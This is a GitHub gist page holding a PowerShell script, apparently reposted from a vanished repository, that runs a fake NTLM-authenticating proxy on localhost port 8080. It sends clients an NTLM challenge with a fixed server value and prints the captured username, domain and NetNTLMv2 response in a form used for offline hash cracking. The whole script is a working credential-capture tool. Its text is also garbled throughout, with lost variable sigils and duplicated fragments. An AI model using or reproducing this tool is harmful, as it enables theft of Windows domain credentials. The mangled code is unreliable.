Authproxyserver.ps1

June 10, 2017 · View on GitHub

#DISCLAIMER #I'm not the original author of the script... #Original git repo vanished

function String-to-ByteArray (String) { ByteArray=@() For ( i=0;i = 0; i -lt (String.Length/2);String.Length/2); i++ ) { Chars=Chars=String.Substring(i2,2)i*2,2) Byte=[Byte] "0xChars"Chars" ByteArray+=Byte } Return ByteArray }

function ByteArray-to-String (ByteArray) { ForEach ( Byte In ByteArray.ToString().Split(" ") ) { String="String"+[Convert]::ToString(String"+[Convert]::ToString(Byte,16).ToUpper().PadLeft(2,"0") } Return $String }

function strtohex (str) { b=str.ToCharArray();Foreach(str.ToCharArray(); Foreach (element in b) { c=c+[System.String]::Format("0:X",[System.Convert]::ToUInt32(c+[System.String]::Format("{0:X}",[System.Convert]::ToUInt32(element)) } return $c }

function hextostr (str) { temp="" for (i=0;i = 0; i -lt str.length;str.length; i += 2) { temp1=[convert]::Toint32(temp1=[convert]::Toint32(str.substring(i,2),16)if(i,2),16) if (temp1 -ne 0) { temp=temp=temp+[char]temp1 } } return temp }

function strtonullspacedhex (str) { b=str.ToCharArray();Foreach(str.ToCharArray(); Foreach (element in b) { c=c+[System.String]::Format("0:X",[System.Convert]::ToUInt32(c+[System.String]::Format("{0:X}",[System.Convert]::ToUInt32(element))+"00" } return $c }

function strtohexint (str,str,length) { tmp="0:X0"ftmp="{0:X0}" -f str if (tmp.length -eq 1) { tmp="0"+tmp } if (length-tmp.length -gt 0) { tmp=tmp+"0"(tmp+"0"*(length-tmp.length) } return tmp }

function strlentohexint (str,str,length) { tmp="0:X0"f(tmp="{0:X0}" -f (str.length/2) if (tmp.length -eq 1) { tmp="0"+tmp } tmp=tmp+"0"(tmp+"0"*(length-tmp.length)returntmp.length) return tmp }

Function hextoint (h) { string="" For ( i=0;i = 0; i -lt (h.Length/2);h.Length/2); i++ ) { string=string=string+h.substring((h.substring((h.length)-(i*2)-2,2) } Return [convert]::Toint32(string,16) }

code="f132ae278ad7f7a0"code = "f132ae278ad7f7a0" e = "Access Denied" $e2 = ""

nbdomainname=strtonullspacedhex("NODOMAIN")nbdomainname = strtonullspacedhex("NODOMAIN") dnsdomainname = strtonullspacedhex("NODOMAIN.COM") computername=strtonullspacedhex("NO")computername = strtonullspacedhex("NO") dnscomputername = strtonullspacedhex("NO.NODOMAIN.COM")

nbdomainnamelen=strlentohexintnbdomainnamelen = strlentohexint nbdomainname 4 computernamelen=strlentohexintcomputernamelen = strlentohexint computername 4 dnsdomainnamelen=strlentohexintdnsdomainnamelen = strlentohexint dnsdomainname 4 dnscomputernamelen=strlentohexintdnscomputernamelen = strlentohexint dnscomputername 4

targetinfo="0200"+targetinfo = "0200"+nbdomainnamelen+nbdomainname+"0100"+nbdomainname+"0100"+computernamelen+computername+"0400"+computername+"0400"+dnsdomainnamelen+dnsdomainname+"0300"+dnsdomainname+"0300"+dnscomputernamelen+dnscomputername+"0500"+dnscomputername+"0500"+dnsdomainnamelen+$dnsdomainname+"0000"+"0000"

t1=hextoint"38000000"t1=hextoint "38000000" t2=strlentohexint nbdomainname4nbdomainname 4 t2=hextoint t2t2 t=(t1+t1+t2) targetinfooffset=strtohexinttargetinfooffset = strtohexint t 8

targetinfolen=strlentohexinttargetinfolen = strlentohexint targetinfo 4 hexcode="4e544c4d53535000"+"02000000"+hexcode = "4e544c4d53535000"+"02000000"+nbdomainnamelen+nbdomainnamelen+"38000000"+"958289e2"+nbdomainnamelen+"38000000"+"958289e2"+code+"0000000000000000"+targetinfolen+targetinfolen+targetinfolen+targetinfooffset+"0000000000000000"+targetinfooffset+"0000000000000000"+nbdomainname+$targetinfo

Encoding=newobjectsystem.text.asciiencoding;Encoding = new-object system.text.asciiencoding; Buffer=new-object system.byte[] 1024; endpoint=newobjectSystem.Net.IPEndPoint([system.net.ipaddress]::loopback,8080)endpoint = new-object System.Net.IPEndPoint ([system.net.ipaddress]::loopback, 8080) listener = new-object System.Net.Sockets.TcpListener endpointendpoint listener.start() while (true) { client = listener.AcceptTcpClient()listener.AcceptTcpClient() Stream = client.GetStream()client.GetStream() reader = New-Object System.IO.StreamReader StreamStream writer = New-Object System.IO.StreamWriter Stream #While(client.connected) #{ Result=""While(Result="" While(Stream.DataAvailable) { Read=Read=Stream.Read(Buffer,0,1024);Buffer,0,1024); Result+=Encoding.GetString(Encoding.GetString(Buffer, 0, Read) #Result+=Buffer[0..Buffer[0..Read] } if (Result -ne "") { Result if (Resultlike"CONNECT"orResult -like "CONNECT*" -or Result -like "GET*") { if (Result -like "*Proxy-Authorization:*") { b=(Result.split("rn")SelectStringPattern("ProxyAuthorization")).tostring()Result.split("`r`n") | Select-String -Pattern ("Proxy-Authorization")).tostring() b=b.split("")[b.split(" ")[b.split(" ").length-1].split("rn")[0] b=[System.Convert]::FromBase64String(b=[System.Convert]::FromBase64String(b) -join " " b=ByteArraytostringb=ByteArray-to-string b if (b.substring(8*2,4*2) -eq "01000000") { t=string-to-bytearray hexcodehexcode t=[System.Convert]::ToBase64String(t)t) res="HTTP/1.1 407 Proxy Authorization RequiredrnProxy-Authenticate: Negotiate " + t+"rnContentType:text/htmlrnContentLength:"+t + "`r`nContent-Type: text/html`r`nContent-Length: " + e.length.tostring() + "rnrn" + ee writer.write(res)res) writer.flush() } if (b.substring(8*2,4*2) -eq "03000000") { offset_NTLMresponse = hextoint b.substring(242,42)b.substring(24*2,4*2) length_NTLMresponse = hextoint b.substring(202,22)b.substring(20*2,2*2) NTProofStr = b.substring(b.substring(offset_NTLMresponse2,162) NTLMresponse=NTLMresponse = b.substring((offsetNTLMresponse2)+offset_NTLMresponse*2)+NTProofStr.length,lengthNTLMresponse2length_NTLMresponse*2-NTProofStr.length) offsetdomain=hextointoffset_domain = hextoint b.substring(322,42) lengthdomain=hextointlength_domain = hextoint b.substring(282,22) offsetuser=hextointoffset_user = hextoint b.substring(402,42) lengthuser=hextointlength_user = hextoint b.substring(362,22) domain=domain = b.substring(offsetdomain2,offset_domain*2,length_domain2) user=user = b.substring(offsetuser2,offset_user*2,length_user2) user=hextostruser=hextostr user domain=hextostrdomain= hextostr domain write-host "" write-host "" write-host user"::"user"::"domain":"code":"code":"NTProofStr":"NTLMresponsewritehost""writehost""NTLMresponse write-host "" write-host "" res="HTTP/1.1 200 OKrnContent-Type: text/htmlrnContent-Length: " + e2.length.tostring()+"rnrn"+e2.length.tostring() + "`r`n`r`n" + e2 writer.write(writer.write(res) writer.flush() } } else { res="HTTP/1.1 407 Proxy Authorization RequiredrnProxy-Authenticate: NegotiaternProxy-Authenticate: NTLMrnContent-Type: text/htmlrnContent-Length: " + e.length.tostring()+"rnrn"+e.length.tostring() + "`r`n`r`n" + e writer.write(writer.write(res) writer.flush() } } } #} client.Dispose() writer.Dispose()writer.Dispose() reader.Dispose() stream.Dispose() } listener.stop()